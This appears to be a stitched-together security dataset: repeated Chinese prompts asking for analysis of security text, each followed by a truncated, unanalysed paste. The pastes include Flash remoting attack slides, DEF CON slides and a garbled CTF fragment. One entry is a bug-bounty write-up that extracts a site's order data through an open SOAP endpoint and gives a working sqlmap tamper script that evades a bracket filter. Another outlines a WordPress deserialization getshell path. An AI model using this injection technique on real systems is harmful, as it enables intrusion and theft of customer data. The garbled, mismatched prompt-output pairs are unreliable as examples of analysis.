对于 C++ 虚拟方法，可能为：
hash(method_name, type(retval), highest_parent_...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Jon Rose
Trustwave’s SpiderLabs
Flash Remoting Technologies
Flex Data Services
•  Data Management
–  Update client and/or server when data changes
•  Messaging
–  Real Time Messaging protocol (RTMP)
–  Pub-sub model
–  Real-time data  streaming
•  Remoting
–  HTTP, SOAP, AMF
–  Automatic  data marshalling
•  PDF
–  Create and edit PDF’s
CrossDomain.xml
Flash Remoting Insecurity
•  Developers fail to restrict access to methods:
–  Authentication
–  Authorization
•  Method & Service names can be brute-forced
•  Flex servers can be fingerprinted
•  Common vulns in remote methods:
–  Injections
–  Information leakage
–  Denial of service
–  Privilege escalation
Finding Methods & Services
•  Decompile SWF and search for remoting calls
•  Watch network traffic
•  Dictionary attack against server
Finding SWF Remoting Calls
•  Download SWF file
•  Decompile
–  Sothink SWF decompiler or HP SWFScan
•  Analyze ServerConfig.xml
•  Regex for remoting methods
SWF Remoting ServerConfig.xml
•  Often embedded in the
SWF
•  Provide URL's and service
names
•  Destination id represents
services
–  securityService
–  exampleService
–  mathService
SWF Remoting Search
•  Search for remoting methods
–  send, service, remote, etc
findstr /I /N /S ”sender\." *.as
AMF Network Traffic
•  AMF is:
–  Serialized ActionScript object
–  Transported as HTTP POST body
•  Charles proxy can intercept and decode AMF traffic
•  Wireshark captures can disclose Url's, Services, and Methods
–  No native decoder
AMF Network – Charles Proxy
AMF Network – Wireshark
Dictionary Attacks
•  Determine valid service and methods
–  Based on error messages
–  Fairly fast
–  Easily predictable method/service names
•  Login
•  getters
•  setters
–  Possible to build default wordlist
Securing Flash Remoting
•  BlazeDS
–  Only public methods defined in remoting-config can be called
–  Use security-constraints in remoting-config.xml to each method
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2021-9-27 Written By J0o1ey QQ/vx 547006660
如有红队/渗透测试方向培训需求、或其他业务项目可联系我
在对某 SRC 测试时，本人根据其证书信息收集到了部分深度子域，并找到了其对
应的业务 IP 段
写了个 shell 脚本+ffuf 批量 fuzz 某 src c 段资产目录
fuzz 发现了 xxSRC c 段的一个提供了 webservice 的服务器
http://180.*.*.*/webservice/
获取到接口
http://180.*.*.*/webservice/syncOrderToOdcService
使用 soup ui 进行调试
数据
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0></arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
<arg0></arg0>
当<arg0></arg0>中间无参数值时
Soap 接口抛出了一个 Oracle 的错误信息，并提示“Date format error,YY-MM-DD”
随后很简单了，构造一个符合条件的 date 数据
2021-9-23
Soap request：
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0>2021-9-23</arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
arg0 处为日期参数，指定日期，即可查询到 xx src 商城所有订单信息
属于严重泄露客户数据的漏洞
看了一下 oracle 都爆出 SQL 的错误信息了，并且没有预编译相关的提示，这不得
注入一波？
但是在注入的时候发现程序会将括号()过滤掉，导致函数无法执行，sqlmap 注入
不出来
这时候就要用到骚姿势了
在 Oracle 中文版本中,中文括号（）可以代替英文()而且不报错！
EG:
# 纯中文括号
SQL> select （1+1） from dual;
（1+1）
----------
2
剩下的就很简单了，改一个 tamper 出来
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" %
(os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"\s*(\s*", "（", retVal)
retVal = re.sub(r"\s*)\s*", "）", retVal)
return retVal
>>>python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py
//注入请求，在日期处
加*
w 到手，收摊


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

wordpress <5.8.3 对象注入漏洞
本文仅用于技术讨论与研究，文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良
影响，本文作者概不负责。
本文由本人在今年2月份发表于奇安信攻防社区 https://forum.butian.net/share/1303 ，因此在
一些关于时间的描述上存在误差，请谅解。
0x00 漏洞描述
看了 wordpress 注入（ CVE-2022-21661  ）的洞之后，发现还存在另外一个对象注入漏洞，具有管理
员权限的用户通过更改一些选项，将有机会 getshell 。
0x01 漏洞影响
getshell 的条件：
wordpress < 5.8.3
启用多站点模式
存在一条可用的反序列化链（在本文中不会讲这个）
这是 github 上的漏洞修复记录
因此这里的环境选择前一条提交
0x02 漏洞分析
这里是以我复现这个漏洞时候的角度来分析的，因此会有一些弯路
漏洞入口点
首先来到 wp-admin/upgrade.php ，这是管理员可以直接访问到的文件，也是我认为的此漏洞的入口
点。
https://github.com/WordPress/WordPress/commit/66bb979049fa1a515d031e53ab100d507e
d7bc8b
git clone https://github.com/WordPress/WordPress
git checkout 7d20ea9
跟进 wp_upgrade 函数，来到 wp-admin/includes/upgrade.php
首先看几个全局变量， $wp_db_version 在 wp-includes/version.php 中定义，根据其定义处的注释
来看，这是本安装程序的数据库版本，在下一行中从数据库中取出了 db_version 赋值给
$wp_current_db_version ，看这情况，大概是一个是固定的数据库版本，另一个是可变的，
upgrade.php 会时不时地比较，当发生改变时，会进行一些操作
接下来看到我下的断点处，进入 upgrade_all() 函数
这里就是在将两个版本进行比较，一致时不发生任何变化，不一致时运行后面的代码，接着看下面
根据从数据库中取出的 db_version 也就是此处的 $wp_current_db_version 的大小，会进行不同的
处理，我们来关注断点处的 upgrade_280 函数
看到 1611 行的 is_multisite() ，跟进
这是一个判断是否开启了多站点的函数，这也是本漏洞的一个开启条件，必须要开启多站点才可以。开
多站点需要改配置文件，我这里图省事儿，直接改了判断条件 !is_multisite() ，强行让他绕过了
继续看上面，进入循环，每次从 wp_options 表中取 20 条数据，将每一条数据都进行反序列化，漏洞
的点就在此处了，因为 wp_options 中的数据大部分都是可控的，我们可以通过管理员修改其值，最后
进入反序列化。
还有两个问题，第一，如何控制 db_version 的值，让他进入我们想要进入的函数；第二，如何更改
wp_options 中的值。
数据写入
其实这两个是同一个问题，一并解决， wordpress 后台没有直接访问所有 options 的按钮，但我们可
以访问 wp-admin/options.php
这里可以更改 db_options 中大部分的值，包括 db_version ，我们将其修改为 10300，就满足了进入
漏洞函数的要求，接下来我们尝试写入反序列化字符串
我们先随便选择一个选项写入反序列化字符串，这里我首先选择的是 blogdescription ，也就是博客
描述，这个也可以在常规选项中更改（更建议，因为需要处理的值会更少，调试没那么费力）, post 的
数据会逐个进入 wp-includes/option.php 中的 update_option ，来看几个比较重要的函数（PS：太
长截图截不完）
这里首先说明一下 $option 是每个选项的键， $value 是每个选项的值
首先看到 sanitize_option
这个函数会根据不同的键来选择不同的处理方式，比如一些一定会用整数的，就会 intval 处理，所以
选择的选项也是有讲究的，我之前选择的 blogdescription ，就因为这个函数而无法使用，他会将一些
特殊字符编码，导致无法正常反序列化，这个可以慢慢尝试，尽量选择这个函数不会进行太多处理的选
项
最终我选择的是 wp-admin/options-writing.php 中的 “密码”（选择 options.php 中的
mail...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

security when
nanoseconds count
James Arlen, CISA
DEF CON 19
disclaimer
I am employed in the Infosec industry,
but not authorized to speak on behalf
of my employer or clients.
Everything I say can be blamed on
the voices in your head.
2
credentials
•
15+ years information security specialist
•
staff operations, consultant, auditor, researcher
•
utilities vertical (grid operations, generation, distribution)
•
ﬁnancial vertical (banks, trust companies, trading)
•
some hacker related stuff (founder of think|haus)
...still not an expert at anything.
3
nanoseconds...
4
5
Admiral Hopper says...
From an interview segment by Morley Safer in 1982
$=c (speed of light matters)
• distance light travels in a:
• millisecond ~300km (~186 miles)
• microsecond ~300m (~328 yards)
• nanosecond ~30cm (~1 foot)
6
before you ask...
•
This is a talk about... $$
•
I’m not going to mention any of those things on your
buzz-word bingo card:
•
SCADA
•
APT
•
PCI - DSS
•
wikileaks
•
(anti-|lulz)sec
•
hacktivism
•
...insert more here.
7
ﬁnance at DEF CON?
• You know it!
• DEF CON is all about offensive and defensive
techniques and technologies
• Sometimes, knowing that a vulnerability exists
to be exploited helps to focus attention.
• Sometimes, people like me tell you things that
sound completely crazy but have a history of
coming true.
8
trading history
•
1200s - Commodity and Debt trading
•
1500s - Inter-market trading
•
1600s - Equity trading
•
early 1800s - Reuters uses carrier pigeons
•
late 1800s - electronic ticker tape (market data feeds) become
widespread
•
mid 1900s - quotation systems (next price rather than last
price) become widespread
•
late 1900s - computers are used to maintain the records
of the exchange
•
early 2000s - computers begin trading with each other
without human intervention
9
deﬁnitions
• high speed trading: committing trades on a
scale faster than human interactive speeds
• algorithmic trading: trades based on the
mathematical result of incoming
inf...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x00
0x01
web
swingsakurawebpandap
webweb
webweb
uaf
webidaida
C++
webpwn
sakuraweb
6
web
SQLsqlitesqlite pwn
smugglingssrf127.0.0.1redisSSRFpwnwebpwn
0x02
httpd.conf
mpm_worker_module modules/mod_mpm_worker.so //
auth_kerb_module modules/mod_auth_kerb.so  //kerberos
authn_core_module modules/mod_authn_core.so  //httpbasicldap
authz_user_module modules/mod_authz_user.so //
authz_core_module modules/mod_authz_core.so //
access_compat_module modules/mod_access_compat.so //ip
auth_basic_module modules/mod_auth_basic.so //basic
socache_shmcb_module modules/mod_socache_shmcb.so //
reqtimeout_module modules/mod_reqtimeout.so //
filter_module modules/mod_filter.so //
deflate_module modules/mod_deflate.so //
mime_module modules/mod_mime.so //
env_module modules/mod_env.so //apache
expires_module modules/mod_expires.so //
headers_module modules/mod_headers.so //
setenvif_module modules/mod_setenvif.so //cgi
proxy_module modules/mod_proxy.so //
ssl_module modules/mod_ssl.so //sslv3tls v1.x
unixd_module modules/mod_unixd.so //
dir_module modules/mod_dir.so //
alias_module modules/mod_alias.so //aliasscriptalias
rewrite_module modules/mod_rewrite.so //url
LoadModule proxy_http_module modules/mod_proxy_http.so //http
LoadModule svpn_web_module modules/mod_svpn_web.so //proxy
twf_module modules/mod_twf.so
mdm_module modules/mod_mdm.so
regex_module modules/mod_regex.so
mvcon_module modules/mod_mvcon.so
comm_check_module modules/mod_comm_check.so //
service_downgrade_module modules/mod_service_downgrade.so //
proxymod_proxy.so
“”ida
patch
review
0x03
lib
liblibf5
liblibso
soso
0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Old-Skool Brought Back
A 1964 Modem Demo
K.C. Budd  "phreakmonkey"
Taylor Banks  "dr. kaos"
Modems, explained
Modulator / Demodulator
Modulator:  Encodes a digital signal over an analog
representation
Demodulator:  Reconstructs the digital signal from the
analog representation
Digital signal rate = bits per second (bps)
Analog "symbol" rate = baud
In many cases, bps != baud
Timeline of Modem History
~1959 "Bell 101" 110 baud standard, Anderson-Jacobson modems introduced for
           private-line use by US Military
       1962  "Bell 103" 300 baud standard, AT&T commercial modems introduced
             ~1963 Livermore Data Systems Model A
                          1968 "The Carterphone Decision" - allowing third party devices
                                  to be electrically connected to telephone lines*
                                        1972 Vadic 1200bps modem
                                                    1976 AT&T Bell 212A 1200bps standard
                                                                         1981 Hayes 300bps
                                                                                "Smartmodem"
                                                                                Hayes AT-Command Set
1958
1968
1978
1988
Ladies and Gentlemen:
A circa 1964
Livermore Data Systems
Model A Modem
Serial # 0279
So, wait.  1964?
Isn't that older than you are?
Comment on gizmodo.com :
By: 92BuickLeSabre  10:12 PM on Thu May 28 2009
That was surprisingly bad-ass.
(Especially the part at the beginning where he ripped off the poor
grieving little old lady.)
Model A: Physical Characteristics
Hand Crafted Wood Box
Dovetail Joints
Brass Hardware
Notch-cutout for Phone Handset Cord
Labels
Model A: Technical Characteristics
Modulation:  Bell 103
300 baud / 300 bps
Originate Mode Only
Frequency Shift Keying
No error correction
Directly Modulates RS232 TX line
No internal clock
No handshaking / synchronization
Requires +/- 12...